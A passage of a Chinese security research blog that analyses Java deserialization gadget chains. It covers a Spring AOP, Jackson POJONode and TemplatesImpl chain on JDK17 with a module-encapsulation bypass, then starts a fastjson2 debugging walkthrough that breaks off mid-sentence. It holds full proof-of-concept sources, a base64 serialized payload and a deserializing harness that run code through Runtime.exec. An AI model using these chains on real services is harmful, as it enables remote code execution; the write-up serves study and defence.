    at java.xml/com.sun.org.apache.xpath.internal.objects.XString.equals(XString.java:391)
    at java.base/java.util.AbstractMap.equals(AbstractMap.java:492)
    at java.base/java.util.Hashtable.put(Hashtable.java:486)
    at Main.main(Main.java:64)
    等

从报错看链子应该是对的,但还是因为模块化机制的原因,导致不能正常调用,这里先看一段代码:

POJONode node = new POJONode(impl);
System.out.println("POJONode的:"+node.getClass().getModule());
System.out.println("jdk的:"+Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getModule());

输出为:

POJONode的:unnamed module @673bfdf3
jdk的:unnamed module @673bfdf3

也就是说至少这里加的jackson和spring-aop第三方依赖是没有module-info.java,也就是没有强封装设置,只存在于jdk中,这也就是链子能Hashtable->XString->POJONode调用下去的原因。

再看报错,可以知道大概是因为给TemplatesImpl设置”序列化器“时报错退出,长时间调试分析代码后,发现报错是在如下这段:

图片.png

所以这里就是在对TemplatesImpl类中的getOutputProperties()方法进行setAccessible(),很明显jackson是第三方库,所以不会同TemplatesImpl类存在于同一个模块中,就会因为违反模块化机制直接报错退出。

调用栈如下:

checkAndFixAccess:996, ClassUtil (com.fasterxml.jackson.databind.util)
fixAccess:139, AnnotatedMember (com.fasterxml.jackson.databind.introspect)
fixAccess:440, BeanPropertyWriter (com.fasterxml.jackson.databind.ser)
build:208, BeanSerializerBuilder (com.fasterxml.jackson.databind.ser)
constructBeanOrAddOnSerializer:472, BeanSerializerFactory (com.fasterxml.jackson.databind.ser)
findBeanOrAddOnSerializer:294, BeanSerializerFactory (com.fasterxml.jackson.databind.ser)
_createSerializer2:239, BeanSerializerFactory (com.fasterxml.jackson.databind.ser)
createSerializer:173, BeanSerializerFactory (com.fasterxml.jackson.databind.ser)
_createUntypedSerializer:1495, SerializerProvider (com.fasterxml.jackson.databind)
_createAndCacheUntypedSerializer:1443, SerializerProvider (com.fasterxml.jackson.databind)
findValueSerializer:544, SerializerProvider (com.fasterxml.jackson.databind)
findTypedValueSerializer:822, SerializerProvider (com.fasterxml.jackson.databind)
defaultSerializeValue:1142, SerializerProvider (com.fasterxml.jackson.databind)
serialize:115, POJONode (com.fasterxml.jackson.databind.node)
serialize:39, SerializableSerializer (com.fasterxml.jackson.databind.ser.std)
serialize:20, SerializableSerializer (com.fasterxml.jackson.databind.ser.std)
_serialize:480, DefaultSerializerProvider (com.fasterxml.jackson.databind.ser)
serializeValue:319, DefaultSerializerProvider (com.fasterxml.jackson.databind.ser)
serialize:1518, ObjectWriter$Prefetch (com.fasterxml.jackson.databind)
_writeValueAndClose:1219, ObjectWriter (com.fasterxml.jackson.databind)
writeValueAsString:1086, ObjectWriter (com.fasterxml.jackson.databind)
nodeToString:30, InternalNodeMapper (com.fasterxml.jackson.databind.node)
toString:136, BaseJsonNode (com.fasterxml.jackson.databind.node)
equals:391, XString (com.sun.org.apache.xpath.internal.objects)
equals:492, AbstractMap (java.util)
put:486, Hashtable (java.util)
main:79, Main

那么如何解决呢,我们可以使用如下代码来看一下java.xml模块export了哪些包可以访问:

import java.lang.module.ModuleDescriptor;

public class Text {
    public static void main(String[] args) {
        // 这里可以换成 "java.base"、"java.sql" 等模块名
        String moduleName = "java.xml";

        Module module = ModuleLayer.boot()
                .findModule(moduleName)
                .orElseThrow(() -> new RuntimeException("未找到模块: " + moduleName));

        ModuleDescriptor descriptor = module.getDescriptor();

        System.out.println("======== " + moduleName + " 的 module-info.java ========");
        System.out.println("module " + moduleName + " {");

        // exports
        descriptor.exports().forEach(exp -> {
            System.out.print("    exports " + exp.source());
            if (exp.isQualified()) {
                System.out.print(" to " + exp.targets());
            }
            System.out.println(";");
        });

        System.out.println("}");
    }
}

输出为:

======== java.xml 的 module-info.java ========
module java.xml {
    exports com.sun.org.apache.xpath.internal to [java.xml.crypto];
    exports com.sun.org.apache.xpath.internal.compiler to [java.xml.crypto];
    exports javax.xml.stream.util;
    exports com.sun.org.apache.xml.internal.utils to [java.xml.crypto];
    exports org.w3c.dom.ls;
    exports org.w3c.dom.ranges;
    exports org.w3c.dom.events;
    exports com.sun.org.apache.xpath.internal.functions to [java.xml.crypto];
    exports javax.xml.xpath;
    exports javax.xml.transform;
    exports org.xml.sax;
    exports javax.xml.stream;
    exports javax.xml.stream.events;
    exports org.w3c.dom.traversal;
    exports com.sun.org.apache.xpath.internal.objects to [java.xml.crypto];
    exports javax.xml.catalog;
    exports com.sun.org.apache.xpath.internal.res to [java.xml.crypto];
    exports com.sun.org.apache.xml.internal.dtm to [java.xml.crypto];
    exports javax.xml.datatype;
    exports javax.xml.transform.sax;
    exports javax.xml;
    exports org.xml.sax.ext;
    exports javax.xml.parsers;
    exports javax.xml.validation;
    exports javax.xml.transform.dom;
    exports javax.xml.transform.stream;
    exports org.w3c.dom;
    exports org.w3c.dom.bootstrap;
    exports org.w3c.dom.views;
    exports org.xml.sax.helpers;
    exports javax.xml.transform.stax;
    exports javax.xml.namespace;
}

其中可以看到一个完全导出的包:javax.xml.transform。这个包下有一个非常重要的并且我们经常使用的类:Templates接口类。

这个类存在getOutputProperties()方法,基本获取getter方法的流程就看不稳定性解决链子的分析文章即可,那么我们就可以将代码改成如下:

import javassist.*;
import org.springframework.aop.framework.AdvisedSupport;
import sun.misc.Unsafe;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Hashtable;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import com.fasterxml.jackson.databind.node.POJONode;
import javax.xml.transform.Templates;

public class Main {
    public static void main(String[] args) throws Exception {
        patchModule(Main.class);
        //part1
        ClassPool classPool = ClassPool.getDefault();
        CtClass cc = classPool.makeClass("Evil");
        String cmd = "java.lang.Runtime.getRuntime().exec(\"open -a Calculator\");";
        cc.makeClassInitializer().insertBefore(cmd);

        byte[] classBytes = cc.toBytecode();
        //part2
        CtClass cc1 = classPool.makeClass("Evil1");
        cc1.makeClassInitializer().insertBefore(cmd);

        byte[] classBytes1 = cc1.toBytecode();

        byte[][] code = new byte[][]{classBytes,classBytes1};

        //main
        Class clazz = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
        Object impl = getObject(clazz);

        setFieldValue(impl,"_name","fupanc");
        setFieldValue(impl, "_tfactory", getObject(Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl")));
        setFieldValue(impl,"_bytecodes",code);
        setFieldValue(impl,"_transletIndex",0);//0或者1都可以

        //修改类方法
        CtClass ctClass = classPool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
        ctClass.removeMethod(ctClass.getDeclaredMethod("writeReplace"));

        //设置代理
        AdvisedSupport advisedSupport = new AdvisedSupport();
        advisedSupport.setTarget(impl);
        Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getDeclaredConstructor(AdvisedSupport.class);
        constructor.setAccessible(true);
        Object proxyAop = constructor.newInstance(advisedSupport);
        Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Templates.class},(InvocationHandler) proxyAop);

        POJONode node = new POJONode(proxy);
//        System.out.println("POJONode的:"+node.getClass().getModule());
//        System.out.println("jdk的:"+Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getModule());

        //获取XString类实例
        Class clazz123 = Class.forName("com.sun.org.apache.xpath.internal.objects.XString");
        Constructor constructor123 = clazz123.getConstructor(String.class);
        constructor123.setAccessible(true);
        Object xString = constructor123.newInstance("fupanc");

        Hashtable hash = new Hashtable();

        HashMap hashMap0 = new HashMap();
        hashMap0.put("zZ",xString);
        hashMap0.put("yy",node);

        HashMap hashMap1 = new HashMap();
        hashMap1.put("zZ",node);
        hashMap1.put("yy",xString);

        hash.put(hashMap0,"1");
        hash.put(hashMap1,"2");

    }
    private static void patchModule(Class clazz) throws Exception {
        Field field = Unsafe.class.getDeclaredField("theUnsafe");
        field.setAccessible(true);
        Unsafe unsafe = (Unsafe) field.get(null);

        long offset = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));

        Module targetModule = Object.class.getModule();
        unsafe.getAndSetObject(clazz, offset,targetModule);
    }

    private static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        final Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    private static Object getObject(Class clazz) throws Exception{
        Constructor constructor = clazz.getConstructor();
        constructor.setAccessible(true);
        Object impl = constructor.newInstance();
        return impl;
    }
}

运行成功弹出计算机,并且再次调试情况如下:

图片.png

代理类这些都是正常的可以使用的,故这里不会触发模块化机制报错退出。

最后在JdkDynamicAopProxy类的invoke()方法从而成功调用到要invokeJoinpointUsingReflection()方法:

图片.png

这里有个ReflectionUtils.makeAccessible(method)值得注意:

图片.png

所以其实这里的调用就是相当于TemplatesImpl.getOutputProperties(),这个是可以直接调用不会触发强封装机制。

但是后面在尝试构造最后的poc时,序列化总是有问题,后面看调用栈才发现是修改类方法时自己忘了toClass(),所以可以构造如下:

//修改类方法
        CtClass ctClass = classPool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
        ctClass.removeMethod(ctClass.getDeclaredMethod("writeReplace"));
        ctClass.toClass();

但是还是报错如下:

Exception in thread "main" java.lang.reflect.InaccessibleObjectException: Unable to make protected final java.lang.Class java.lang.ClassLoader.defineClass(java.lang.String,byte[],int,int,java.security.ProtectionDomain) throws java.lang.ClassFormatError accessible: module java.base does not "opens java.lang" to unnamed module @673bfdf3
    at java.base/java.lang.reflect.AccessibleObject.checkCanSetAccessible(AccessibleObject.java:354)
    at java.base/java.lang.reflect.AccessibleObject.checkCanSetAccessible(AccessibleObject.java:297)
    at java.base/java.lang.reflect.Method.checkCanSetAccessible(Method.java:199)
    at java.base/java.lang.reflect.Method.setAccessible(Method.java:193)
    at javassist.util.proxy.SecurityActions.setAccessible(SecurityActions.java:159)
    at javassist.util.proxy.DefineClassHelper$JavaOther.defineClass(DefineClassHelper.java:213)
    at javassist.util.proxy.DefineClassHelper$Java11.defineClass(DefineClassHelper.java:52)
    at javassist.util.proxy.DefineClassHelper.toClass(DefineClassHelper.java:260)
    at javassist.ClassPool.toClass(ClassPool.java:1240)
    at javassist.ClassPool.toClass(ClassPool.java:1098)
    at javassist.ClassPool.toClass(ClassPool.java:1056)
    at javassist.CtClass.toClass(CtClass.java:1298)
    at Main.main(Main.java:47)

可以看到还是因为模块化的原因,toClass()中调用的位于java.lang包下的defineClass方法没有对外开放,导致这里不能成功,但是我们又不能像正常的反射那样修改CtMethod,根本就没有类似setAccessible()的代码构造,但是还可以添加vm配置,通过--add-opens来允许java.lang包开放给未命名的包,这样就可以正常toClass()了,故如下添加即可:

图片.png

添加如下内容:

--add-opens=java.base/java.lang=ALL-UNNAMED

图片.png

为了方便只在反序列化时弹出计算机,将反序列化的入口类改成了EventListenerList类,最后的poc如下:

import javassist.*;
import org.springframework.aop.framework.AdvisedSupport;
import sun.misc.Unsafe;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.Base64;
import java.util.Vector;
import com.fasterxml.jackson.databind.node.POJONode;
import javax.swing.event.EventListenerList;
import javax.swing.undo.UndoManager;
import javax.xml.transform.Templates;

public class Main {
    public static void main(String[] args) throws Exception {
        patchModule(Main.class);
        //part1
        ClassPool classPool = ClassPool.getDefault();
        CtClass cc = classPool.makeClass("Evil");
        String cmd = "java.lang.Runtime.getRuntime().exec(\"open -a Calculator\");";
        cc.makeClassInitializer().insertBefore(cmd);

        byte[] classBytes = cc.toBytecode();
        //part2
        CtClass cc1 = classPool.makeClass("Evil1");
        cc1.makeClassInitializer().insertBefore(cmd);

        byte[] classBytes1 = cc1.toBytecode();

        byte[][] code = new byte[][]{classBytes,classBytes1};

        //main
        Class clazz = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
        Object impl = getObject(clazz);

        setFieldValue(impl,"_name","fupanc");
        setFieldValue(impl, "_tfactory", getObject(Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl")));
        setFieldValue(impl,"_bytecodes",code);
        setFieldValue(impl,"_transletIndex",0);//0或者1都可以

        //修改类方法
        CtClass ctClass = classPool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
        CtMethod ctMethod = ctClass.getDeclaredMethod("writeReplace");
        ctClass.removeMethod(ctMethod);
        ctClass.toClass(Main.class.getClassLoader(), null);

        //设置代理
        AdvisedSupport advisedSupport = new AdvisedSupport();
        advisedSupport.setTarget(impl);
        Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getDeclaredConstructor(AdvisedSupport.class);
        constructor.setAccessible(true);
        Object proxyAop = constructor.newInstance(advisedSupport);
        Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Templates.class},(InvocationHandler) proxyAop);

        POJONode node = new POJONode(proxy);
//        System.out.println("POJONode的:"+node.getClass().getModule());
//        System.out.println("jdk的:"+Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getModule());

        UndoManager undo = new UndoManager();
        Object[] x = new Object[]{String.class, undo};

        EventListenerList listenerList = new EventListenerList();
        setFieldValue(listenerList, "listenerList", x);

        Vector vector = (Vector) getFieldValue(undo, "edits");
        vector.add(node);

        ByteArrayOutputStream bais = new ByteArrayOutputStream();
        ObjectOutputStream out = new ObjectOutputStream(bais);
        out.writeObject(listenerList);
        out.close();
        System.out.println(Base64.getEncoder().encodeToString(bais.toByteArray()));

    }
    private static void patchModule(Class clazz) throws Exception {
        Field field = Unsafe.class.getDeclaredField("theUnsafe");
        field.setAccessible(true);
        Unsafe unsafe = (Unsafe) field.get(null);

        long offset = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));

        Module targetModule = Object.class.getModule();
        unsafe.getAndSetObject(clazz, offset,targetModule);
    }

    private static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        final Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    private static Object getObject(Class clazz) throws Exception{
        Constructor constructor = clazz.getConstructor();
        constructor.setAccessible(true);
        Object impl = constructor.newInstance();
        return impl;
    }
    public static Object getFieldValue(Object obj, String fieldName) throws Exception {
        Class clazz = obj.getClass();

        while (clazz != null) {
            try {
                Field field = clazz.getDeclaredField(fieldName);
                field.setAccessible(true);

                return field.get(obj);
            } catch (Exception e) {
                clazz = clazz.getSuperclass();
            }
        }
        return null;
    }
}

然后将运行生成的payload拿去反序列化:

import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;
import java.util.Base64;

public class Test {
    public static void main(String[] args) throws Exception {
        String base64Payload = "rO0ABXNyACNqYXZheC5zd2luZy5ldmVudC5FdmVudExpc3RlbmVyTGlzdJFIzC1z3w7eAwAAeHB0ABBqYXZhLmxhbmcuU3RyaW5nc3IAHGphdmF4LnN3aW5nLnVuZG8uVW5kb01hbmFnZXLxfp8dCCrCHQIAAkkADmluZGV4T2ZOZXh0QWRkSQAFbGltaXR4cgAdamF2YXguc3dpbmcudW5kby5Db21wb3VuZEVkaXSlnlC6U9uV/QIAAloACmluUHJvZ3Jlc3NMAAVlZGl0c3QAEkxqYXZhL3V0aWwvVmVjdG9yO3hyACVqYXZheC5zd2luZy51bmRvLkFic3RyYWN0VW5kb2FibGVFZGl0CA0bju0CCxACAAJaAAVhbGl2ZVoAC2hhc0JlZW5Eb25leHABAQFzcgAQamF2YS51dGlsLlZlY3RvctmXfVuAO68BAwADSQARY2FwYWNpdHlJbmNyZW1lbnRJAAxlbGVtZW50Q291bnRbAAtlbGVtZW50RGF0YXQAE1tMamF2YS9sYW5nL09iamVjdDt4cAAAAAAAAAABdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAZHNyACxjb20uZmFzdGVyeG1sLmphY2tzb24uZGF0YWJpbmQubm9kZS5QT0pPTm9kZQAAAAAAAAACAgABTAAGX3ZhbHVldAASTGphdmEvbGFuZy9PYmplY3Q7eHIALWNvbS5mYXN0ZXJ4bWwuamFja3Nvbi5kYXRhYmluZC5ub2RlLlZhbHVlTm9kZQAAAAAAAAABAgAAeHIAMGNvbS5mYXN0ZXJ4bWwuamFja3Nvbi5kYXRhYmluZC5ub2RlLkJhc2VKc29uTm9kZQAAAAAAAAABAgAAeHBzfQAAAAEAHWphdmF4LnhtbC50cmFuc2Zvcm0uVGVtcGxhdGVzeHIAF2phdmEubGFuZy5yZWZsZWN0LlByb3h54SfaIMwQQ8sCAAFMAAFodAAlTGphdmEvbGFuZy9yZWZsZWN0L0ludm9jYXRpb25IYW5kbGVyO3hwc3IANG9yZy5zcHJpbmdmcmFtZXdvcmsuYW9wLmZyYW1ld29yay5KZGtEeW5hbWljQW9wUHJveHlMxLRxDuuW/AIABFoADWVxdWFsc0RlZmluZWRaAA9oYXNoQ29kZURlZmluZWRMAAdhZHZpc2VkdAAyTG9yZy9zcHJpbmdmcmFtZXdvcmsvYW9wL2ZyYW1ld29yay9BZHZpc2VkU3VwcG9ydDtbABFwcm94aWVkSW50ZXJmYWNlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwAABzcgAwb3JnLnNwcmluZ2ZyYW1ld29yay5hb3AuZnJhbWV3b3JrLkFkdmlzZWRTdXBwb3J0JMuKPPqkxXUCAAVaAAtwcmVGaWx0ZXJlZEwAE2Fkdmlzb3JDaGFpbkZhY3Rvcnl0ADdMb3JnL3NwcmluZ2ZyYW1ld29yay9hb3AvZnJhbWV3b3JrL0Fkdmlzb3JDaGFpbkZhY3Rvcnk7TAAIYWR2aXNvcnN0ABBMamF2YS91dGlsL0xpc3Q7TAAKaW50ZXJmYWNlc3EAfgAcTAAMdGFyZ2V0U291cmNldAAmTG9yZy9zcHJpbmdmcmFtZXdvcmsvYW9wL1RhcmdldFNvdXJjZTt4cgAtb3JnLnNwcmluZ2ZyYW1ld29yay5hb3AuZnJhbWV3b3JrLlByb3h5Q29uZmlni0vz5qfg928CAAVaAAtleHBvc2VQcm94eVoABmZyb3plbloABm9wYXF1ZVoACG9wdGltaXplWgAQcHJveHlUYXJnZXRDbGFzc3hwAAAAAAAAc3IAPG9yZy5zcHJpbmdmcmFtZXdvcmsuYW9wLmZyYW1ld29yay5EZWZhdWx0QWR2aXNvckNoYWluRmFjdG9yeVTdZDfiTnH3AgAAeHBzcgATamF2YS51dGlsLkFycmF5TGlzdHiB0h2Zx2GdAwABSQAEc2l6ZXhwAAAAAHcEAAAAAHhzcQB+ACIAAAAAdwQAAAAAeHNyADRvcmcuc3ByaW5nZnJhbWV3b3JrLmFvcC50YXJnZXQuU2luZ2xldG9uVGFyZ2V0U291cmNlfVVu9cf4+roCAAFMAAZ0YXJnZXRxAH4ADnhwc3IAOmNvbS5zdW4ub3JnLmFwYWNoZS54YWxhbi5pbnRlcm5hbC54c2x0Yy50cmF4LlRlbXBsYXRlc0ltcGwJV0/BbqyrMwMABkkADV9pbmRlbnROdW1iZXJJAA5fdHJhbnNsZXRJbmRleFsACl9ieXRlY29kZXN0AANbW0JbAAZfY2xhc3NxAH4AGEwABV9uYW1ldAASTGphdmEvbGFuZy9TdHJpbmc7TAARX291dHB1dFByb3BlcnRpZXN0ABZMamF2YS91dGlsL1Byb3BlcnRpZXM7eHAAAAAAAAAAAHVyAANbW0JL/RkVZ2fbNwIAAHhwAAAAAnVyAAJbQqzzF/gGCFTgAgAAeHAAAAFgyv66vgAAADcAGQEABEV2aWwHAAEBABBqYXZhL2xhbmcvT2JqZWN0BwADAQAKU291cmNlRmlsZQEACUV2aWwuamF2YQEACDxjbGluaXQ+AQADKClWAQAEQ29kZQEAEWphdmEvbGFuZy9SdW50aW1lBwAKAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwwADAANCgALAA4BABJvcGVuIC1hIENhbGN1bGF0b3IIABABAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAASABMKAAsAFAEABjxpbml0PgwAFgAICgAEABcAIQACAAQAAAAAAAIACAAHAAgAAQAJAAAAFgACAAAAAAAKuAAPEhG2ABVXsQAAAAAAAQAWAAgAAQAJAAAAEQABAAEAAAAFKrcAGLEAAAAAAAEABQAAAAIABnVxAH4ALgAAAWLK/rq+AAAANwAZAQAFRXZpbDEHAAEBABBqYXZhL2xhbmcvT2JqZWN0BwADAQAKU291cmNlRmlsZQEACkV2aWwxLmphdmEBAAg8Y2xpbml0PgEAAygpVgEABENvZGUBABFqYXZhL2xhbmcvUnVudGltZQcACgEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMAAwADQoACwAOAQASb3BlbiAtYSBDYWxjdWxhdG9yCAAQAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAEgATCgALABQBAAY8aW5pdD4MABYACAoABAAXACEAAgAEAAAAAAACAAgABwAIAAEACQAAABYAAgAAAAAACrgADxIRtgAVV7EAAAAAAAEAFgAIAAEACQAAABEAAQABAAAABSq3ABixAAAAAAABAAUAAAACAAZwdAAGZnVwYW5jcHcBAHh1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAN2cgAjb3JnLnNwcmluZ2ZyYW1ld29yay5hb3AuU3ByaW5nUHJveHkAAAAAAAAAAAAAAHhwdnIAKW9yZy5zcHJpbmdmcmFtZXdvcmsuYW9wLmZyYW1ld29yay5BZHZpc2VkAAAAAAAAAAAAAAB4cHZyAChvcmcuc3ByaW5nZnJhbWV3b3JrLmNvcmUuRGVjb3JhdGluZ1Byb3h5AAAAAAAAAAAAAAB4cHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHgAAAAAAAAAZHB4" ;
        ObjectInputStream oos = new ObjectInputStream(new ByteArrayInputStream(Base64.getDecoder().decode(base64Payload)));
        oos.readObject();
        oos.close();
    }
}

成功弹出计算机:

图片.png

————————

这样的话应该还可以在jdk17下打fastjson的链子,但是都是需要在spring环境下。

总结

  • 了解到了TemplatesImpl下的动态加载字节码的新思路(虽然可能已经比较早提出了)
  • 动态代理的利用还值得挖掘(可惜环境有限制)。

其实这里分析是带着答案找问题,将链子的过程中的坑点给填了,学到了很多,如有问题欢迎指正。

参考文章:

https://whoopsunix.com/docs/PPPYSO/advance/TemplatesImpl/#0x02-%E5%8E%BB%E9%99%A4-abstracttranslet-%E9%99%90%E5%88%B6

https://fushuling.com/index.php/2025/08/21/%e9%ab%98%e7%89%88%e6%9c%acjdk%e4%b8%8b%e7%9a%84spring%e5%8e%9f%e7%94%9f%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96%e9%93%be/

https://docs.oracle.com/en/java/javase/17/docs/api/java.xml/module-summary.html

https://blog.csdn.net/weixin_37646636/article/details/120530053

fastjson2下的反序列化调用链分析

前言

在前面fastjson1下的反序列化调用链分析中,简单提到过fastjson2下的反序列化调用链,但是当时fastjson2的能打的版本为<=2.0.26。现在先来具体看看这个版本下的调试分析。

Fastjson2<=2.0.26调试分析

依赖版本改成如下即可:

<!-- <https://mvnrepository.com/artifact/com.alibaba/fastjson> -->
    <dependency>
      <groupId>com.alibaba</groupId>
      <artifactId>fastjson</artifactId>
      <version>2.0.26</version>
    </dependency>

当时使用的poc如下:

package org.example;

import javax.management.BadAttributeValueExpException;
import com.alibaba.fastjson.JSONObject;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.io.*;
import java.lang.reflect.Field;

public class Main{
    public static void main(String[] args) throws Exception {
        //使用javassist定义恶意代码
        ClassPool classPool = ClassPool.getDefault();
        classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass cc = classPool.makeClass("Evil");
        String cmd= "java.lang.Runtime.getRuntime().exec(\\\\"open -a Calculator\\\\");";
        cc.makeClassInitializer().insertBefore(cmd);
        cc.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
        byte[] classBytes = cc.toBytecode();
        byte[][] code = new byte[][]{classBytes};

        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", code);
        setFieldValue(templates, "_name", "fupanc");
        setFieldValue(templates, "_class", null);
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

        JSONObject jsonObject = new JSONObject();
        jsonObject.put("fupanc",templates);

        BadAttributeValueExpException bad = new BadAttributeValueExpException(null);
        Field field = bad.getClass().getDeclaredField("val");
        field.setAccessible(true);
        field.set(bad, jsonObject);

        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
        out.writeObject(bad);
        out.close();

        ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.ser"));
        in.readObject();
        in.close();

    }

    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        final Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

运行即可弹出计算机。

其实主要的点还是在于调用toString()方法,直接将代码改简单些来调试分析一下流程:

package org.example;

import com.alibaba.fastjson.JSONObject;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;

public class Main{
    public static void main(String[] args) throws Exception {
        //使用javassist定义恶意代码
        ClassPool classPool = ClassPool.getDefault();
        classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass cc = classPool.makeClass("Evil");
        String cmd= "java.lang.Runtime.getRuntime().exec(\\\\"open -a Calculator\\\\");";
        cc.makeClassInitializer().insertBefore(cmd);
        cc.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
        byte[] classBytes = cc.toBytecode();
        byte[][] code = new byte[][]{classBytes};

        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", code);
        setFieldValue(templates, "_name", "fupanc");
        setFieldValue(templates, "_class", null);
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

        JSONObject jsonObject = new JSONObject();
        jsonObject.put("fupanc",templates);
        jsonObject.toString();
    }

    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        final Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

直接打断点于getOutputProperties()方法:

图片.png

调试直接成功断在这里,此时的调用栈为:

getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
write:-1, OWG_1_3_TemplatesImpl (com.alibaba.fastjson2.writer)
write:548, ObjectWriterImplMap (com.alibaba.fastjson2.writer)
toJSONString:2388, JSON (com.alibaba.fastjson2)
toString:1028, JSONObject (com.alibaba.fastjson)
main:32, Main (org.example)

朴实无华,但是从中还是可以看到之前fastjson1分析下的一些影子,比如:

图片.png

很熟悉的获取ObjectWriter相关类并调用它的write()方法来进行序列化。

现在来跟一下具体细节,看一下对序列化类的处理逻辑。

打断点于toString()方法:

图片.png

这里的JSONWriter的Feature是一个枚举类型的类:

图片.png

里面就有我们获取的定义在这个类中的ReferenceDetection值。

后面发现JSONObject类在fastjson2中其实有两个:

图片.png

在前面我们都是使用的fastjson1的JSONObject来分析,两个都能弹,并且其实调试下来最终的调用方法是一样的,这里就直接调试分析fastjson2的JSONObject过程了,直接在import处将代码改成fastjson2即可。然后打断点调试,直接断于JSONObject类的toString()方法:

图片.png

跟进这个JSONWriter类的of()方法:

图片.png

最后也是返回了这个jsonWriter变量,现在来看看createWriteContext()的调用获取情况以及JSONWriterUTF16JDK8类的实例化情况,后续会用到类中的变量,要搞清楚对应变量的赋值以及调用,重新调试单击进入JSONFactory类的createWriteContext()方法:

图片.png

这里的defaultObjectWriterProvider是静态的直接默认的变量:

图片.png

继续跟进JSONWriter类的内部类Context类的初始化:

图片.png

也就是将features赋值为0,然后将参数传递的ObjectWriterProvider类的实例化对象赋值给了provider。

最后返回了这个Context类,然后一直返回,回到JSONWriterUTF16JDK8类的初始化:

图片.png

继续往父类初始化:

图片.png

继续往父类看:

图片.png

初始化情况如上,这里的JSONWriter应该是一个和json序列化相关的类。在这个JSONWriter类初始化完毕后,回到其子类JSONWriterUTF16的初始化:

图片.png

这里的chars需要关注,后面要提到。可以看到这里的cachedIndex为1,跟进调用的JSONFactory类的allocateCharArray()方法:

图片.png

可以看到直接静态设置了几个变量,如这里非常重要的CHAR_ARRAY_CACHE,这是一个二维数组,但是并没有定义值,所以CHAR_ARRAY_CACHE[cacheIndex]的值为null,从而将这个chars值设置为8192个下表的数组,并且最后返回了这个数组。

而后这个char数组的内容都是默认的占位符吧应该是:

图片.png

后续会提到,这里就先继续调试跟着走。

——————

回到JSONWriter类的of()方法,最后是返回了这个实例化的JSONWriterUTF16JDK8类:

图片.png

然后应该是设置了要序列化的类:

图片.png

跟进setRootObject()方法:

图片.png

效果如上,然后就是调用了JSONWriterUTF16JDK8类的write()方法来进行序列化,同样是传参传入了JSONObject类,对于这里的write()方法,关键的地方在于:

